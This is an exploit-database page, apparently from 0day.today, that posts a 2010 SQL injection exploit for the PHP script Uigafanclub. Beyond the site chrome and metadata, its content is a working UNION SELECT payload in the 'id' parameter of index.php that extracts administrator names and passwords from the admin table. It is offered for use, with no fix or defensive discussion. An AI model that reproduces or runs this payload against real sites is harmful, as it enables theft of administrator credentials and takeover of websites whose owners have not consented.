[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Uiga Fan Club index.php SQL Injection Vulnerability

Author
Easy Laster
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-11122
Category
web applications
Date add
28-02-2010
Platform
unsorted
===================================================
Uiga Fan Club index.php SQL Injection Vulnerability
===================================================

----------------------------Information------------------------------------------------
+Name : Uigafanclub index.php SQL Injection
+Autor : Easy Laster
+Date   : 28.02.2010
+Script  : Uigafanclub
+Language :PHP
+Discovered by Easy Laster

----------------------------------------------------------------------------------------
+Vulnerability : www.site.com/Uigafanclub/index.php?view=photos&id=
+Exploitable   : www.site.com/Uigafanclub/index.php?view=photos&id=-9999+
Union+Select+1,2,concat(admin_name,0x3a,admin_password),4,5+from+admin--
-----------------------------------------------------------------------------------------



#  0day.today [2024-11-14]  #